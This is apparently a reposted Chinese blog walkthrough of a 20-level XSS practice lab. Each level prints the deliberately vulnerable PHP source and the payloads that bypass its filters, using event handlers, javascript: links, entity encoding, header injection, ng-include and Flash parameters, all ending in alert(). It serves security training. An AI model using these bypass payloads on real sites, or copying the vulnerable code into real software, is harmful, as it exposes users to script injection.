XSS练习小游戏

在线地址:http://test.xss.tv/

实验环境也可以本地搭建,不过需要php+mysql的环境

源码:https://files.cnblogs.com/files/Eleven-Liu/xss%E7%BB%83%E4%B9%A0%E5%B0%8F%E6%B8%B8%E6%88%8F.zip

我选择使用本地环境搭建,这样好进行源码分析

level1

<?php 
ini_set("display_errors", 0); //不显示错误报告
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
?>

没有进行任何过滤

<script>alert(1)</script>

level2

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

使用get方式接受一个keyword参数,不过这里用到一个过滤函数htmlspecialchars(),

这个函数输出时把预定义的字符转换为 HTML 实体,等于<不能用

payload :  " onmouseover=alert(1)>需要鼠标划过输入框      采用js事件

                 test"><script>alert(1)</script>  提前闭合input标签,使其不影响弹窗代码

level3

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

这里比前一提更严格,我们输入的时候<就会被转义,但是默认没有过滤单引号,所以采用事件来进行过滤

payload :  ' onmouseover=alert(1)//

level4

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里将 '<' 、 '>' 都替换成空,转换时区分大小写,然后在经过htmlspecialchars()函数,将一些预定义符号转换为html实体。

所以我们要做的就是在没有<>的情况下构造payload

payload :  " onmouseover=alert(1)//

      " onfocus=alert(1) autofocus="

Onfocus事件:定义的事件将在对象获得焦点时触发,这里指input标签获得焦点。
Autofocus属性:input标签的属性,当页面加载input标签,自动获得焦点。
焦点:这里指你的光标的位置,也就是说当你的光标出现在input文本框这里,将进行onfocus事件的发生。

level5

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

发现它把script 和 on 中加入了下划线。
那么鼠标事件,就不能用了。
可以考虑下用链接(href),即在链接中调用js

不过没有过滤尖括号<>,这里使用伪协议来构造payload:

payload:"> <a href="javascript:alert(1)">ha</a>

level6

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

这里相比上一题没有使用大小写过滤

js对大小写十分敏感

payload: "> <Script>alert(1)</script> //

level7

<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

分析代码,不仅大小写不能用了,script,on,src ,data ,href 都直接转换成空,

但只是将其转换成空,不像前面的第六题,是加上下划线,那么我们可以尝试双写绕过

构造payload:"><sscriptcript>alert(1)</sscriptcript>

level8

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
?>

相比上一题中,此题" 被编码,但是尖括号<> ,单引号 ' ,% ,# ,& 符号没有被过滤,输出点在a标签内,href属性中,

属性中双引号被转换成HTML实体,无法截断属性,我们可以使用协议绕过javascript:alert,由于script关键字被过滤,

javascript会被替换成javasc_rpt,我们使用&#x72来代替r ,HTML字符实体转换:https://www.qqxiuzi.cn/bianma/zifushiti.php

伪协议后面可以使用URL编码等进行编码。

payload:javascrip&#x74;:alert(1)

level9

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>

与上题大同小异,不同的是多了自己自动检测url,如果发现没有带http:// 内容则会显示不合法,

payload:javascrip&#x74;:alert(1)//http://xxx.com  //利用注释

      java&#x73;cript:alert('http://')

level10

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

发现需要两个参数,一个是keyword,一个是t_sort,尖括号<>都被转换成空,还有三个hidden的隐藏输入框,

或许我们可以从隐藏的输入框下手

payload:keyword = test&t_sort="type="text" onclick = "alert(1)

      keyword = test&t_sort="type="text" onmouseover="alert(1)

      keyword = test&t_sort="type="text" onmouseover=alert`1`

level11

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];   //告诉我们是从哪个服务器链接过来的
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

str11=

_SERVER['HTTP_REFERER']; 考察的是http头部的xss注入,开始抓包,burp修改相应的字段,构造http头部Referer的payload:

Referer: " onmouseover=alert(1) type="text"

Referer: " onclick="alert(1) type="text"

burp抓包,改Referer头,forward发包

level12

<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

User-Agent的http头部注入,burp抓包,构造http头部User-Agent的payload:

User-Agent: " onmouseover=alert(1) type="text"

User-Agent: " onclick="alert(1) type="text"

leel13

<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>

PHP setcookie() 函数详情

在客户端保存一个名为password的Cookie,他的值为$password,
在程序中可以用$_COOKIE['password']来获取值,
time()+3600指的是该cookie的生存周期,秒为位,像这这里是指1个小时(60秒*60分钟

$str33最初是由cookie过滤<  >  而来,应该是cookie类型的xss注入,直接构造payload:

Cookie: " onmouseover=alert(1) type="text"

Cookie: " onclick="alert(1) type="text"

 

 level14

center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>这关成功后不会自动跳转。成功者<a href=/xsschallenge/level15.php?src=1.gif>点我进level15</a></center>

该链接到的地址服务器崩了,就不写了

点击这里查看别人的

主要就是修改图片的exif信息来构造xss,修改信息的工具为exiftool

iframe详解

level15

<?php 
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

这一关考的angular js的知识,稍微百度一下相关知识,发现ng-include有包含文件的意思,也就相当于php里面的include
注:ng-include里面引用其他页面还要再加单引号,即双引号里面再加单引号

如:<div ng-include="'tpl/header.html'"></div>

发现可以包含第一关的页面,构造payload:

src='level1.php?name=<img src=x onerror=alert(1)>'

src=level1.php?name=1'window.alert(1)

level16

<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","&nbsp;",$str);
$str3=str_replace(" ","&nbsp;",$str2);
$str4=str_replace("/","&nbsp;",$str3);
$str5=str_replace("    ","&nbsp;",$str4);
echo "<center>".$str5."</center>";
?>

&nbsp表示空格。是javascript里面的转义字符
如果你用空格键产生空格,空格是不会累加的(只算1个)。要使用html实体表示才可累加

利用%0d、%0a(回车换行)实现xss攻击绕过

<img%0dsrc=1%0donerror=alert(1)>

<iframe%0asrc=x%0donmouseover=alert`1`></iframe>

<svg%0aonload=alert`1`></svg>

level17

?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

arg01和arg02  被htmlspecialchars过滤了,通过onmouseover='alert(1)'绕过。

arg01=a&arg02=b%20onmouseover=alert'1'

构造成功后:<embed src=xsf01.swf?a=b onmousedown=alert`1` width=100% heigth=100%>

 leve18

<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars($_GET["arg01"])."=".htmlspecialchars($_GET["arg02"])." width=100% heigth=100%>";
?>

和上题一样:arg01=a&arg02=b%20onmouseover=alert'1'

level19

先定位getURL函数

sIFR.menuItems.push(new ContextMenuItem("Follow link",function() { getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget); }),new ContextMenuItem("Open link in new window",function() { getURL(sIFR.instance.primaryLink,"_blank"); })); 再追踪到sIFR的内容,省略了一些代码,关键代码如下: if(_loc5_ && _root.version != sIFR.VERSION) { _loc4_ = sIFR.VERSION_WARNING.split("%s").join(_root.version); }

得知version参数可以传入loc4变量中,即sIFR的内容中,但是getURL 只在内容为link时,打开,故定位以下函数:
 function contentIsLink()
   {
      return this.content.indexOf("<a ") == 0 && (this.content.indexOf("<a ") == this.content.lastIndexOf("<a ") && this.content.indexOf("</a>") == this.content.length - 4);
   }
 大体意思是要geturl得用a标签吧。

getURL

arg01=version&arg02=%3Ca%20href=%22javascript:alert(document.domain)%22%3Exss%3C/a%3E

arg01=version&arg02=<a href="javascript:alert(document.domain)">xss</a>

level20

 button.addEventListener(MouseEvent.MOUSE_OVER,function(param1:Event):*
         {
            ExternalInterface.call("ZeroClipboard.dispatch",id,"mouseOver",null);
         });
ExternalInterface.call则调用js方法(flash播放器是否位于提供外部接口的容器中)
ZeroClipboard.dispatch 复制剪切板的内容,中间由flash进行中转保证兼容主流浏览器,具体做法就是使这个透明的flash漂浮在复制按钮之上
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(/xss/)//%26width%26height

arg01=id&arg02=\"))}catch(e){}if(!self.a)self.a=!alert(/xss/)//&width&height

参考

猜你喜欢

转载自www.cnblogs.com/my-mind/p/10696912.html